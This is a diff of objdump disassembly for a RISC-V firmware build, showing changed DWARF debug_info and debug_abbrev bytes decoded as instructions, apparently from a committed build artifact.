-    34ba:	1e00                	addi	s0,sp,816
-    34bc:	06e6                	slli	a3,a3,0x19
-    34be:	0000                	unimp
-    34c0:	f01f 00a5 0100      	0x10000a5f01f
-    34c6:	96040487          	0x96040487
-    34ca:	0000                	unimp
-    34cc:	1d00                	addi	s0,sp,688
-    34ce:	5f5f 0061 8701      	0x870100615f5f
-    34d4:	0404                	addi	s1,sp,512
-    34d6:	0096                	slli	ra,ra,0x5
-    34d8:	0000                	unimp
-    34da:	1e00                	addi	s0,sp,816
-    34dc:	06f9                	addi	a3,a3,30
-    34de:	0000                	unimp
-    34e0:	5f1d                	li	t5,-25
-    34e2:	785f 0100 0495      	0x4950100785f
-    34e8:	9605                	srai	a2,a2,0x21
-    34ea:	0000                	unimp
-    34ec:	0000                	unimp
-    34ee:	1d20                	addi	s0,sp,696
-    34f0:	316d                	jal	319a <__stack_size+0x299a>
-    34f2:	0100                	addi	s0,sp,128
-    34f4:	04a5                	addi	s1,s1,9
-    34f6:	0000960f          	0x960f
-    34fa:	1d00                	addi	s0,sp,688
-    34fc:	306d                	jal	2da6 <__stack_size+0x25a6>
-    34fe:	0100                	addi	s0,sp,128
-    3500:	04a5                	addi	s1,s1,9
-    3502:	00009613          	slli	a2,ra,0x0
-    3506:	1e00                	addi	s0,sp,816
-    3508:	00000773          	0x773
-    350c:	a91f 00a5 0100      	0x10000a5a91f
-    3512:	04b0                	addi	a2,sp,584
-    3514:	9608                	0x9608
-    3516:	0000                	unimp
-    3518:	1f00                	addi	s0,sp,944
-    351a:	a5a4                	fsd	fs1,72(a1)
-    351c:	0000                	unimp
-    351e:	b001                	j	2d1e <__stack_size+0x251e>
-    3520:	0804                	addi	s1,sp,16
-    3522:	0096                	slli	ra,ra,0x5
-    3524:	0000                	unimp
-    3526:	eb1f 00a5 0100      	0x10000a5eb1f
-    352c:	04b0                	addi	a2,sp,584
-    352e:	9608                	0x9608
-    3530:	0000                	unimp
-    3532:	1f00                	addi	s0,sp,944
-    3534:	a5e6                	fsd	fs9,200(sp)
-    3536:	0000                	unimp
-    3538:	b001                	j	2d38 <__stack_size+0x2538>
-    353a:	0804                	addi	s1,sp,16
-    353c:	0096                	slli	ra,ra,0x5
-    353e:	0000                	unimp
-    3540:	071f 00a6 0100      	0x10000a6071f
-    3546:	04b0                	addi	a2,sp,584
-    3548:	9608                	0x9608
-    354a:	0000                	unimp
-    354c:	1f00                	addi	s0,sp,944
-    354e:	a602                	fsd	ft0,264(sp)
-    3550:	0000                	unimp
-    3552:	b001                	j	2d52 <__stack_size+0x2552>
-    3554:	0804                	addi	s1,sp,16
-    3556:	0096                	slli	ra,ra,0x5
-    3558:	0000                	unimp
-    355a:	5f1d                	li	t5,-25
-    355c:	6d5f 0100 04b0      	0x4b001006d5f
-    3562:	9608                	0x9608
-    3564:	0000                	unimp
-    3566:	0000                	unimp
-    3568:	e11e                	fsw	ft7,128(sp)
-    356a:	1f000007          	0x1f000007
-    356e:	a5c2                	fsd	fa6,200(sp)
-    3570:	0000                	unimp
-    3572:	b101                	j	3172 <__stack_size+0x2972>
-    3574:	0804                	addi	s1,sp,16
-    3576:	0096                	slli	ra,ra,0x5
-    3578:	0000                	unimp
-    357a:	c71f 00a5 0100      	0x10000a5c71f
-    3580:	04b1                	addi	s1,s1,12
-    3582:	9608                	0x9608
-    3584:	0000                	unimp
-    3586:	1f00                	addi	s0,sp,944
-    3588:	a5cc                	fsd	fa1,136(a1)
-    358a:	0000                	unimp
-    358c:	b101                	j	318c <__stack_size+0x298c>
-    358e:	0804                	addi	s1,sp,16
-    3590:	0096                	slli	ra,ra,0x5
-    3592:	0000                	unimp
-    3594:	d11f 00a5 0100      	0x10000a5d11f
-    359a:	04b1                	addi	s1,s1,12
-    359c:	9608                	0x9608
-    359e:	0000                	unimp
-    35a0:	1f00                	addi	s0,sp,944
-    35a2:	a611                	j	38a6 <__stack_size+0x30a6>
-    35a4:	0000                	unimp
-    35a6:	b101                	j	31a6 <__stack_size+0x29a6>
-    35a8:	0804                	addi	s1,sp,16
-    35aa:	0096                	slli	ra,ra,0x5
-    35ac:	0000                	unimp
-    35ae:	b31f 00a5 0100      	0x10000a5b31f
-    35b4:	04b1                	addi	s1,s1,12
-    35b6:	9608                	0x9608
-    35b8:	0000                	unimp
-    35ba:	1f00                	addi	s0,sp,944
-    35bc:	a60c                	fsd	fa1,8(a2)
-    35be:	0000                	unimp
-    35c0:	b101                	j	31c0 <__stack_size+0x29c0>
-    35c2:	0804                	addi	s1,sp,16
-    35c4:	0096                	slli	ra,ra,0x5
-    35c6:	0000                	unimp
-    35c8:	ae1f 00a5 0100      	0x10000a5ae1f
-    35ce:	04b1                	addi	s1,s1,12
-    35d0:	9608                	0x9608
-    35d2:	0000                	unimp
-    35d4:	0000                	unimp
-    35d6:	f41e                	fsw	ft7,40(sp)
-    35d8:	1d000007          	0x1d000007
-    35dc:	5f5f 0078 b601      	0xb60100785f5f
-    35e2:	0504                	addi	s1,sp,640
-    35e4:	0096                	slli	ra,ra,0x5
-    35e6:	0000                	unimp
-    35e8:	2000                	fld	fs0,0(s0)
-    35ea:	5f1d                	li	t5,-25
-    35ec:	785f 0100 04be      	0x4be0100785f
-    35f2:	9605                	srai	a2,a2,0x21
-    35f4:	0000                	unimp
-    35f6:	0000                	unimp
-    35f8:	0000                	unimp
-    35fa:	0421                	addi	s0,s0,8
-    35fc:	00ae                	slli	ra,ra,0xb
-    35fe:	0000                	unimp
+    1fae:	00a41b1b          	0xa41b1b
+    1fb2:	1b00                	addi	s0,sp,432
+    1fb4:	00a4                	addi	s1,sp,72
+    1fb6:	0a00                	addi	s0,sp,272
+    1fb8:	0996                	slli	s3,s3,0x5
+    1fba:	00a3301b          	0xa3301b
+    1fbe:	3000                	fld	fs0,32(s0)
+    1fc0:	0b0000a3          	sb	a6,161(zero) # a1 <__stack_size-0x75f>
+    1fc4:	0624                	addi	s1,sp,776
 	...
 
 Disassembly of section .debug_abbrev:
@@ -20383,18 +12752,17 @@ Disassembly of section .debug_abbrev:
   2e:	030b3e0b          	0x30b3e0b
   32:	000e                	c.slli	zero,0x3
   34:	0300                	addi	s0,sp,384
-  36:	0024                	addi	s1,sp,8
-  38:	0b3e0b0b          	0xb3e0b0b
-  3c:	00000803          	lb	a6,0(zero) # 0 <__stack_size-0x800>
-  40:	1604                	addi	s1,sp,800
-  42:	0300                	addi	s0,sp,384
-  44:	3a0e                	fld	fs4,224(sp)
-  46:	390b3b0b          	0x390b3b0b
-  4a:	0013490b          	0x13490b
-  4e:	0500                	addi	s0,sp,640
-  50:	0026                	c.slli	zero,0x9
-  52:	1349                	addi	t1,t1,-14
-  54:	0000                	unimp
+  36:	0016                	c.slli	zero,0x5
+  38:	0b3a0e03          	lb	t3,179(s4) # 40221fa7 <_data_lma+0x1fe1da87>
+  3c:	0b390b3b          	0xb390b3b
+  40:	1349                	addi	t1,t1,-14
+  42:	0000                	unimp
+  44:	2604                	fld	fs1,8(a2)
+  46:	4900                	lw	s0,16(a0)
+  48:	05000013          	li	zero,80
+  4c:	0024                	addi	s1,sp,8
+  4e:	0b3e0b0b          	0xb3e0b0b
+  52:	00000803          	lb	a6,0(zero) # 0 <__stack_size-0x800>
   56:	3506                	fld	fa0,96(sp)
   58:	4900                	lw	s0,16(a0)
   5a:	07000013          	li	zero,112
@@ -20403,834 +12771,614 @@ Disassembly of section .debug_abbrev:
   64:	0000                	unimp
   66:	0108                	addi	a0,sp,128
   68:	4901                	li	s2,0
-  6a:	00130113          	addi	sp,t1,1
+  6a:	00130113          	addi	sp,t1,1 # ffffb001 <_heap_end+0x7ffec801>
   6e:	0900                	addi	s0,sp,144
   70:	0021                	c.nop	8
   72:	1349                	addi	t1,t1,-14
   74:	00000b2f          	0xb2f
-  78:	260a                	fld	fa2,128(sp)
-  7a:	0000                	unimp
-  7c:	0b00                	addi	s0,sp,400
-  7e:	0b0b0113          	addi	sp,s6,176 # fffe00b0 <_heap_end+0x7ffd18b0>
-  82:	0b3a                	slli	s6,s6,0xe
-  84:	0b390b3b          	0xb390b3b
-  88:	1301                	addi	t1,t1,-32
-  8a:	0000                	unimp
-  8c:	0d0c                	addi	a1,sp,656
-  8e:	0300                	addi	s0,sp,384
-  90:	3a0e                	fld	fs4,224(sp)
-  92:	390b3b0b          	0x390b3b0b
-  96:	3813490b          	0x3813490b
-  9a:	0d00000b          	0xd00000b
-  9e:	000d                	c.nop	3
-  a0:	0b3a0803          	lb	a6,179(s4)
-  a4:	0b390b3b          	0xb390b3b
-  a8:	1349                	addi	t1,t1,-14
-  aa:	0b38                	addi	a4,sp,408
-  ac:	0000                	unimp
-  ae:	340e                	fld	fs0,224(sp)
-  b0:	0300                	addi	s0,sp,384
-  b2:	3a0e                	fld	fs4,224(sp)
-  b4:	390b3b0b          	0x390b3b0b
-  b8:	0213490b          	0x213490b
-  bc:	0018                	0x18
-  be:	0f00                	addi	s0,sp,912
-  c0:	012e                	slli	sp,sp,0xb
-  c2:	0e03193f 053b0b3a 	0x53b0b3a0e03193f
-  ca:	0b39                	addi	s6,s6,14
-  cc:	13491927          	0x13491927
-  d0:	0111                	addi	sp,sp,4
-  d2:	0612                	slli	a2,a2,0x4
-  d4:	1840                	addi	s0,sp,52
-  d6:	01194297          	auipc	t0,0x1194
-  da:	10000013          	li	zero,256
-  de:	0111010b          	0x111010b
-  e2:	0612                	slli	a2,a2,0x4
-  e4:	1301                	addi	t1,t1,-32
-  e6:	0000                	unimp
-  e8:	3411                	jal	fffffaec <_heap_end+0x7fff12ec>
-  ea:	0300                	addi	s0,sp,384
-  ec:	3a08                	fld	fa0,48(a2)
-  ee:	39053b0b          	0x39053b0b
-  f2:	0013490b          	0x13490b
-  f6:	1200                	addi	s0,sp,288
-  f8:	8289                	srli	a3,a3,0x2
-  fa:	0101                	addi	sp,sp,0
-  fc:	0111                	addi	sp,sp,4
-  fe:	1331                	addi	t1,t1,-20
- 100:	1301                	addi	t1,t1,-32
- 102:	0000                	unimp
- 104:	01828a13          	addi	s4,t0,24 # 11940ee <__stack_size+0x11938ee>
- 108:	0200                	addi	s0,sp,256
- 10a:	9118                	0x9118
- 10c:	1842                	slli	a6,a6,0x30
- 10e:	0000                	unimp
- 110:	8914                	0x8914
- 112:	0182                	c.slli64	gp
- 114:	1100                	addi	s0,sp,160
- 116:	3101                	jal	fffffd16 <_heap_end+0x7fff1516>
- 118:	15000013          	li	zero,336
- 11c:	012e                	slli	sp,sp,0xb
- 11e:	0e03193f 053b0b3a 	0x53b0b3a0e03193f
- 126:	0b39                	addi	s6,s6,14
- 128:	1349                	addi	t1,t1,-14
- 12a:	0111                	addi	sp,sp,4
- 12c:	0612                	slli	a2,a2,0x4
- 12e:	1840                	addi	s0,sp,52
- 130:	01194297          	auipc	t0,0x1194
- 134:	16000013          	li	zero,352
- 138:	0034                	addi	a3,sp,8
- 13a:	0b3a0803          	lb	a6,179(s4)
- 13e:	0b39053b          	0xb39053b
- 142:	1349                	addi	t1,t1,-14
- 144:	1802                	slli	a6,a6,0x20
- 146:	0000                	unimp
- 148:	03003417          	auipc	s0,0x3003
- 14c:	3a0e                	fld	fs4,224(sp)
- 14e:	39053b0b          	0x39053b0b
- 152:	0213490b          	0x213490b
- 156:	0018                	0x18
- 158:	1800                	addi	s0,sp,48
- 15a:	0034                	addi	a3,sp,8
- 15c:	0b3a0803          	lb	a6,179(s4)
- 160:	0b39053b          	0xb39053b
- 164:	1349                	addi	t1,t1,-14
- 166:	1702                	slli	a4,a4,0x20
- 168:	0000                	unimp
- 16a:	0b19                	addi	s6,s6,6
- 16c:	5501                	li	a0,-32
- 16e:	1a000017          	auipc	zero,0x1a000
- 172:	1755010b          	0x1755010b
- 176:	1301                	addi	t1,t1,-32
- 178:	0000                	unimp
- 17a:	0182891b          	0x182891b
- 17e:	1101                	addi	sp,sp,-32
- 180:	3101                	jal	fffffd80 <_heap_end+0x7fff1580>
- 182:	1c000013          	li	zero,448
- 186:	012e                	slli	sp,sp,0xb
- 188:	0e03193f 053b0b3a 	0x53b0b3a0e03193f
- 190:	0b39                	addi	s6,s6,14
- 192:	0111                	addi	sp,sp,4
- 194:	0612                	slli	a2,a2,0x4
- 196:	1840                	addi	s0,sp,52
- 198:	01194297          	auipc	t0,0x1194
- 19c:	1d000013          	li	zero,464
- 1a0:	0034                	addi	a3,sp,8
- 1a2:	0b3a0e03          	lb	t3,179(s4)
- 1a6:	0b39053b          	0xb39053b
- 1aa:	1349                	addi	t1,t1,-14
- 1ac:	1702                	slli	a4,a4,0x20
- 1ae:	0000                	unimp
- 1b0:	891e                	mv	s2,t2
- 1b2:	0182                	c.slli64	gp
- 1b4:	1100                	addi	s0,sp,160
- 1b6:	9501                	srai	a0,a0,0x20
- 1b8:	1942                	slli	s2,s2,0x30
- 1ba:	1331                	addi	t1,t1,-20
- 1bc:	0000                	unimp
- 1be:	0b1f 1101 1201      	0x120111010b1f
- 1c4:	0006                	c.slli	zero,0x1
- 1c6:	2000                	fld	fs0,0(s0)
- 1c8:	0104                	addi	s1,sp,128
- 1ca:	0b3e                	slli	s6,s6,0xf
- 1cc:	13490b0b          	0x13490b0b
- 1d0:	0b3a                	slli	s6,s6,0xe
- 1d2:	0b39053b          	0xb39053b
- 1d6:	1301                	addi	t1,t1,-32
- 1d8:	0000                	unimp
- 1da:	2821                	jal	1f2 <__stack_size-0x60e>
- 1dc:	0300                	addi	s0,sp,384
- 1de:	1c0e                	slli	s8,s8,0x23
- 1e0:	2200000b          	0x2200000b
- 1e4:	0016                	c.slli	zero,0x5
- 1e6:	0b3a0e03          	lb	t3,179(s4)
- 1ea:	0b39053b          	0xb39053b
- 1ee:	1349                	addi	t1,t1,-14
- 1f0:	0000                	unimp
- 1f2:	3f012e23          	sw	a6,1020(sp) # 1001141c <__stack_size+0x10010c1c>
- 1f6:	0319                	addi	t1,t1,6
- 1f8:	3a0e                	fld	fs4,224(sp)
- 1fa:	390b3b0b          	0x390b3b0b
- 1fe:	1119270b          	0x1119270b
- 202:	1201                	addi	tp,tp,-32
- 204:	4006                	0x4006
- 206:	9718                	0x9718
- 208:	1942                	slli	s2,s2,0x30
- 20a:	1301                	addi	t1,t1,-32
+  78:	130a                	slli	t1,t1,0x22
+  7a:	0301                	addi	t1,t1,0
+  7c:	0b0e                	slli	s6,s6,0x3
+  7e:	3b0b3a0b          	0x3b0b3a0b
+  82:	010b390b          	0x10b390b
+  86:	0b000013          	li	zero,176
+  8a:	000d                	c.nop	3
+  8c:	0b3a0803          	lb	a6,179(s4)
+  90:	0b390b3b          	0xb390b3b
+  94:	1349                	addi	t1,t1,-14
+  96:	0b38                	addi	a4,sp,408
+  98:	0000                	unimp
+  9a:	0d0c                	addi	a1,sp,656
+  9c:	0300                	addi	s0,sp,384
+  9e:	3a0e                	fld	fs4,224(sp)
+  a0:	390b3b0b          	0x390b3b0b
+  a4:	3813490b          	0x3813490b
+  a8:	0d00000b          	0xd00000b
+  ac:	0104                	addi	s1,sp,128
+  ae:	0b3e0e03          	lb	t3,179(t3) # fffef0b3 <_heap_end+0x7ffe08b3>
+  b2:	13490b0b          	0x13490b0b
+  b6:	0b3a                	slli	s6,s6,0xe
+  b8:	0b390b3b          	0xb390b3b
+  bc:	1301                	addi	t1,t1,-32
+  be:	0000                	unimp
+  c0:	280e                	fld	fa6,192(sp)
+  c2:	0300                	addi	s0,sp,384
+  c4:	1c0e                	slli	s8,s8,0x23
+  c6:	0f00000b          	0xf00000b
+  ca:	0034                	addi	a3,sp,8
+  cc:	0b3a0e03          	lb	t3,179(s4)
+  d0:	0b390b3b          	0xb390b3b
+  d4:	1349                	addi	t1,t1,-14
+  d6:	0000                	unimp
+  d8:	1310                	addi	a2,sp,416
+  da:	0b01                	addi	s6,s6,0
+  dc:	3b0b3a0b          	0x3b0b3a0b
+  e0:	010b390b          	0x10b390b
+  e4:	11000013          	li	zero,272
+  e8:	0034                	addi	a3,sp,8
+  ea:	0b3a0e03          	lb	t3,179(s4)
+  ee:	0b390b3b          	0xb390b3b
+  f2:	1349                	addi	t1,t1,-14
+  f4:	1802                	slli	a6,a6,0x20
+  f6:	0000                	unimp
+  f8:	3412                	fld	fs0,288(sp)
+  fa:	0300                	addi	s0,sp,384
+  fc:	3a0e                	fld	fs4,224(sp)
+  fe:	390b3b0b          	0x390b3b0b
+ 102:	3f13490b          	0x3f13490b
+ 106:	0219                	addi	tp,tp,6
+ 108:	0018                	0x18
+ 10a:	1300                	addi	s0,sp,416
+ 10c:	012e                	slli	sp,sp,0xb
+ 10e:	0e03193f 0b3b0b3a 	0xb3b0b3a0e03193f
+ 116:	0b39                	addi	s6,s6,14
+ 118:	13491927          	0x13491927
+ 11c:	0111                	addi	sp,sp,4
+ 11e:	0612                	slli	a2,a2,0x4
+ 120:	1840                	addi	s0,sp,52
+ 122:	01194297          	auipc	t0,0x1194
+ 126:	14000013          	li	zero,320
+ 12a:	0111010b          	0x111010b
+ 12e:	0612                	slli	a2,a2,0x4
+ 130:	1301                	addi	t1,t1,-32
+ 132:	0000                	unimp
+ 134:	3415                	jal	fffffb58 <_heap_end+0x7fff1358>
+ 136:	0300                	addi	s0,sp,384
+ 138:	3a08                	fld	fa0,48(a2)
+ 13a:	390b3b0b          	0x390b3b0b
+ 13e:	0013490b          	0x13490b
+ 142:	1600                	addi	s0,sp,800
+ 144:	1755010b          	0x1755010b
+ 148:	1301                	addi	t1,t1,-32
+ 14a:	0000                	unimp
+ 14c:	03003417          	auipc	s0,0x3003
+ 150:	3a08                	fld	fa0,48(a2)
+ 152:	390b3b0b          	0x390b3b0b
+ 156:	0213490b          	0x213490b
+ 15a:	18000017          	auipc	zero,0x18000
+ 15e:	0034                	addi	a3,sp,8
+ 160:	0b3a0803          	lb	a6,179(s4)
+ 164:	0b390b3b          	0xb390b3b
+ 168:	1349                	addi	t1,t1,-14
+ 16a:	1802                	slli	a6,a6,0x20
+ 16c:	0000                	unimp
+ 16e:	8919                	andi	a0,a0,6
+ 170:	0182                	c.slli64	gp
+ 172:	1101                	addi	sp,sp,-32
+ 174:	3101                	jal	fffffd74 <_heap_end+0x7fff1574>
+ 176:	00130113          	addi	sp,t1,1
+ 17a:	1a00                	addi	s0,sp,304
+ 17c:	828a                	mv	t0,sp
+ 17e:	0001                	nop
+ 180:	1802                	slli	a6,a6,0x20
+ 182:	4291                	li	t0,4
+ 184:	0018                	0x18
+ 186:	1b00                	addi	s0,sp,432
+ 188:	8289                	srli	a3,a3,0x2
+ 18a:	0001                	nop
+ 18c:	0111                	addi	sp,sp,4
+ 18e:	1331                	addi	t1,t1,-20
+ 190:	0000                	unimp
+ 192:	891c                	0x891c
+ 194:	0182                	c.slli64	gp
+ 196:	1101                	addi	sp,sp,-32
+ 198:	3101                	jal	fffffd98 <_heap_end+0x7fff1598>
+ 19a:	1d000013          	li	zero,464
+ 19e:	012e                	slli	sp,sp,0xb
+ 1a0:	0e03193f 0b3b0b3a 	0xb3b0b3a0e03193f
+ 1a8:	0b39                	addi	s6,s6,14
+ 1aa:	01111927          	0x1111927
+ 1ae:	0612                	slli	a2,a2,0x4
+ 1b0:	1840                	addi	s0,sp,52
+ 1b2:	01194297          	auipc	t0,0x1194
+ 1b6:	1e000013          	li	zero,480
+ 1ba:	0034                	addi	a3,sp,8
+ 1bc:	0b3a0e03          	lb	t3,179(s4)
+ 1c0:	0b390b3b          	0xb390b3b
+ 1c4:	1349                	addi	t1,t1,-14
+ 1c6:	1702                	slli	a4,a4,0x20
+ 1c8:	0000                	unimp
+ 1ca:	2e1f 3f00 3c19      	0x3c193f002e1f
+ 1d0:	6e19                	lui	t3,0x6
+ 1d2:	030e                	slli	t1,t1,0x3
+ 1d4:	3a0e                	fld	fs4,224(sp)
+ 1d6:	390b3b0b          	0x390b3b0b
+ 1da:	0000000b          	0xb
+ 1de:	1101                	addi	sp,sp,-32
+ 1e0:	2501                	jal	7e0 <__stack_size-0x20>
+ 1e2:	130e                	slli	t1,t1,0x23
+ 1e4:	1b0e030b          	0x1b0e030b
+ 1e8:	550e                	lw	a0,224(sp)
+ 1ea:	10011117          	auipc	sp,0x10011
+ 1ee:	17429917          	auipc	s2,0x17429
+ 1f2:	0000                	unimp
+ 1f4:	2402                	fld	fs0,0(sp)
+ 1f6:	0b00                	addi	s0,sp,400
+ 1f8:	030b3e0b          	0x30b3e0b
+ 1fc:	000e                	c.slli	zero,0x3
+ 1fe:	0300                	addi	s0,sp,384
+ 200:	0016                	c.slli	zero,0x5
+ 202:	0b3a0e03          	lb	t3,179(s4)
+ 206:	0b390b3b          	0xb390b3b
+ 20a:	1349                	addi	t1,t1,-14
  20c:	0000                	unimp
- 20e:	3424                	fld	fs1,104(s0)
- 210:	0300                	addi	s0,sp,384
- 212:	3a0e                	fld	fs4,224(sp)
- 214:	390b3b0b          	0x390b3b0b
- 218:	0213490b          	0x213490b
- 21c:	25000017          	auipc	zero,0x25000
- 220:	0034                	addi	a3,sp,8
- 222:	0b3a0e03          	lb	t3,179(s4)
- 226:	0b390b3b          	0xb390b3b
- 22a:	1349                	addi	t1,t1,-14
- 22c:	0b1c                	addi	a5,sp,400
- 22e:	0000                	unimp
- 230:	3426                	fld	fs0,104(sp)
- 232:	0300                	addi	s0,sp,384
- 234:	3a08                	fld	fa0,48(a2)
- 236:	390b3b0b          	0x390b3b0b
- 23a:	0213490b          	0x213490b
- 23e:	0018                	0x18
- 240:	2700                	fld	fs0,8(a4)
- 242:	0034                	addi	a3,sp,8
- 244:	0b3a0803          	lb	a6,179(s4)
- 248:	0b390b3b          	0xb390b3b
- 24c:	1349                	addi	t1,t1,-14
- 24e:	1702                	slli	a4,a4,0x20
- 250:	0000                	unimp
- 252:	3428                	fld	fa0,104(s0)
- 254:	0300                	addi	s0,sp,384
- 256:	3a08                	fld	fa0,48(a2)
- 258:	390b3b0b          	0x390b3b0b
- 25c:	0013490b          	0x13490b
- 260:	2900                	fld	fs0,16(a0)
- 262:	0021                	c.nop	8
- 264:	1349                	addi	t1,t1,-14
- 266:	0000182f          	0x182f
- 26a:	2e2a                	fld	ft8,136(sp)
- 26c:	3f01                	jal	17c <__stack_size-0x684>
- 26e:	0319                	addi	t1,t1,6
- 270:	3a0e                	fld	fs4,224(sp)
- 272:	390b3b0b          	0x390b3b0b
- 276:	4919270b          	0x4919270b
- 27a:	12011113          	0x12011113
- 27e:	4006                	0x4006
- 280:	9718                	0x9718
- 282:	1942                	slli	s2,s2,0x30
- 284:	1301                	addi	t1,t1,-32
- 286:	0000                	unimp
- 288:	0300052b          	0x300052b
- 28c:	3a08                	fld	fa0,48(a2)
- 28e:	390b3b0b          	0x390b3b0b
- 292:	0213490b          	0x213490b
- 296:	2c000017          	auipc	zero,0x2c000
- 29a:	0005                	c.nop	1
- 29c:	0b3a0803          	lb	a6,179(s4)
- 2a0:	0b390b3b          	0xb390b3b
- 2a4:	1349                	addi	t1,t1,-14
- 2a6:	1802                	slli	a6,a6,0x20
- 2a8:	0000                	unimp
- 2aa:	2e2d                	jal	5e4 <__stack_size-0x21c>
- 2ac:	3f00                	fld	fs0,56(a4)
- 2ae:	3c19                	jal	fffffcc4 <_heap_end+0x7fff14c4>
- 2b0:	6e19                	lui	t3,0x6
- 2b2:	030e                	slli	t1,t1,0x3
- 2b4:	3a0e                	fld	fs4,224(sp)
- 2b6:	390b3b0b          	0x390b3b0b
- 2ba:	2e00000b          	0x2e00000b
- 2be:	002e                	c.slli	zero,0xb
- 2c0:	193c193f 0e030e6e 	0xe030e6e193c193f
- 2c8:	0b3a                	slli	s6,s6,0xe
- 2ca:	0b39053b          	0xb39053b
- 2ce:	0000                	unimp
- 2d0:	3f002e2f          	0x3f002e2f
- 2d4:	3c19                	jal	fffffcea <_heap_end+0x7fff14ea>
- 2d6:	6e19                	lui	t3,0x6
- 2d8:	0308                	addi	a0,sp,384
- 2da:	3a08                	fld	fa0,48(a2)
- 2dc:	390b3b0b          	0x390b3b0b
- 2e0:	3000000b          	0x3000000b
- 2e4:	002e                	c.slli	zero,0xb
- 2e6:	193c193f 0e030e6e 	0xe030e6e193c193f
- 2ee:	0000                	unimp
- 2f0:	2e31                	jal	60c <__stack_size-0x1f4>
- 2f2:	3f00                	fld	fs0,56(a4)
- 2f4:	3c19                	jal	fffffd0a <_heap_end+0x7fff150a>
- 2f6:	6e19                	lui	t3,0x6
- 2f8:	030e                	slli	t1,t1,0x3
- 2fa:	3a0e                	fld	fs4,224(sp)
- 2fc:	000b3b0b          	0xb3b0b
- 300:	0000                	unimp
- 302:	1101                	addi	sp,sp,-32
- 304:	2501                	jal	904 <__stack_size+0x104>
- 306:	130e                	slli	t1,t1,0x23
- 308:	1b0e030b          	0x1b0e030b
- 30c:	550e                	lw	a0,224(sp)
- 30e:	10011117          	auipc	sp,0x10011
- 312:	17429917          	auipc	s2,0x17429
- 316:	0000                	unimp
- 318:	1602                	slli	a2,a2,0x20
- 31a:	0300                	addi	s0,sp,384
- 31c:	3a0e                	fld	fs4,224(sp)
- 31e:	390b3b0b          	0x390b3b0b
- 322:	0013490b          	0x13490b
- 326:	0300                	addi	s0,sp,384
- 328:	0024                	addi	s1,sp,8
- 32a:	0b3e0b0b          	0xb3e0b0b
- 32e:	00000e03          	lb	t3,0(zero) # 0 <__stack_size-0x800>
- 332:	2404                	fld	fs1,8(s0)
- 334:	0b00                	addi	s0,sp,400
- 336:	030b3e0b          	0x30b3e0b
- 33a:	0008                	0x8
- 33c:	0500                	addi	s0,sp,640
- 33e:	0b0b000f          	0xb0b000f
+ 20e:	2404                	fld	fs1,8(s0)
+ 210:	0b00                	addi	s0,sp,400
+ 212:	030b3e0b          	0x30b3e0b
+ 216:	0008                	0x8
+ 218:	0500                	addi	s0,sp,640
+ 21a:	0b0b000f          	0xb0b000f
+ 21e:	1349                	addi	t1,t1,-14
+ 220:	0000                	unimp
+ 222:	2606                	fld	fa2,64(sp)
+ 224:	4900                	lw	s0,16(a0)
+ 226:	07000013          	li	zero,112
+ 22a:	0e030113          	addi	sp,t1,224
+ 22e:	0b3a0b0b          	0xb3a0b0b
+ 232:	0b390b3b          	0xb390b3b
+ 236:	1301                	addi	t1,t1,-32
+ 238:	0000                	unimp
+ 23a:	0d08                	addi	a0,sp,656
+ 23c:	0300                	addi	s0,sp,384
+ 23e:	3a08                	fld	fa0,48(a2)
+ 240:	390b3b0b          	0x390b3b0b
+ 244:	3813490b          	0x3813490b
+ 248:	0900000b          	0x900000b
+ 24c:	000d                	c.nop	3
+ 24e:	0b3a0e03          	lb	t3,179(s4)
+ 252:	0b390b3b          	0xb390b3b
+ 256:	1349                	addi	t1,t1,-14
+ 258:	0b38                	addi	a4,sp,408
+ 25a:	0000                	unimp
+ 25c:	040a                	slli	s0,s0,0x2
+ 25e:	0301                	addi	t1,t1,0
+ 260:	3e0e                	fld	ft8,224(sp)
+ 262:	490b0b0b          	0x490b0b0b
+ 266:	3b0b3a13          	sltiu	s4,s6,944
+ 26a:	010b390b          	0x10b390b
+ 26e:	0b000013          	li	zero,176
+ 272:	0028                	addi	a0,sp,8
+ 274:	0b1c0e03          	lb	t3,177(s8) # 50b1 <__stack_size+0x48b1>
+ 278:	0000                	unimp
+ 27a:	340c                	fld	fa1,40(s0)
+ 27c:	0300                	addi	s0,sp,384
+ 27e:	3a0e                	fld	fs4,224(sp)
+ 280:	390b3b0b          	0x390b3b0b
+ 284:	0013490b          	0x13490b
+ 288:	0d00                	addi	s0,sp,656
+ 28a:	012e                	slli	sp,sp,0xb
+ 28c:	0e03193f 0b3b0b3a 	0xb3b0b3a0e03193f
+ 294:	0b39                	addi	s6,s6,14
+ 296:	13491927          	0x13491927
+ 29a:	0111                	addi	sp,sp,4
+ 29c:	0612                	slli	a2,a2,0x4
+ 29e:	1840                	addi	s0,sp,52
+ 2a0:	01194297          	auipc	t0,0x1194
+ 2a4:	0e000013          	li	zero,224
+ 2a8:	0005                	c.nop	1
+ 2aa:	0b3a0803          	lb	a6,179(s4)
+ 2ae:	0b390b3b          	0xb390b3b
+ 2b2:	1349                	addi	t1,t1,-14
+ 2b4:	1702                	slli	a4,a4,0x20
+ 2b6:	0000                	unimp
+ 2b8:	0300050f          	0x300050f
+ 2bc:	3a0e                	fld	fs4,224(sp)
+ 2be:	390b3b0b          	0x390b3b0b
+ 2c2:	0213490b          	0x213490b
+ 2c6:	10000017          	auipc	zero,0x10000
+ 2ca:	0034                	addi	a3,sp,8
+ 2cc:	0b3a0803          	lb	a6,179(s4)
+ 2d0:	0b390b3b          	0xb390b3b
+ 2d4:	1349                	addi	t1,t1,-14
+ 2d6:	1702                	slli	a4,a4,0x20
+ 2d8:	0000                	unimp
+ 2da:	8911                	andi	a0,a0,4
+ 2dc:	0182                	c.slli64	gp
+ 2de:	1101                	addi	sp,sp,-32
+ 2e0:	3101                	jal	fffffee0 <_heap_end+0x7fff16e0>
+ 2e2:	00130113          	addi	sp,t1,1
+ 2e6:	1200                	addi	s0,sp,288
+ 2e8:	828a                	mv	t0,sp
+ 2ea:	0001                	nop
+ 2ec:	1802                	slli	a6,a6,0x20
+ 2ee:	4291                	li	t0,4
+ 2f0:	0018                	0x18
+ 2f2:	1300                	addi	s0,sp,416
+ 2f4:	8289                	srli	a3,a3,0x2
+ 2f6:	0101                	addi	sp,sp,0
+ 2f8:	0111                	addi	sp,sp,4
+ 2fa:	1331                	addi	t1,t1,-20
+ 2fc:	0000                	unimp
+ 2fe:	3414                	fld	fa3,40(s0)
+ 300:	0300                	addi	s0,sp,384
+ 302:	3a0e                	fld	fs4,224(sp)
+ 304:	390b3b0b          	0x390b3b0b
+ 308:	0213490b          	0x213490b
+ 30c:	15000017          	auipc	zero,0x15000
+ 310:	8289                	srli	a3,a3,0x2
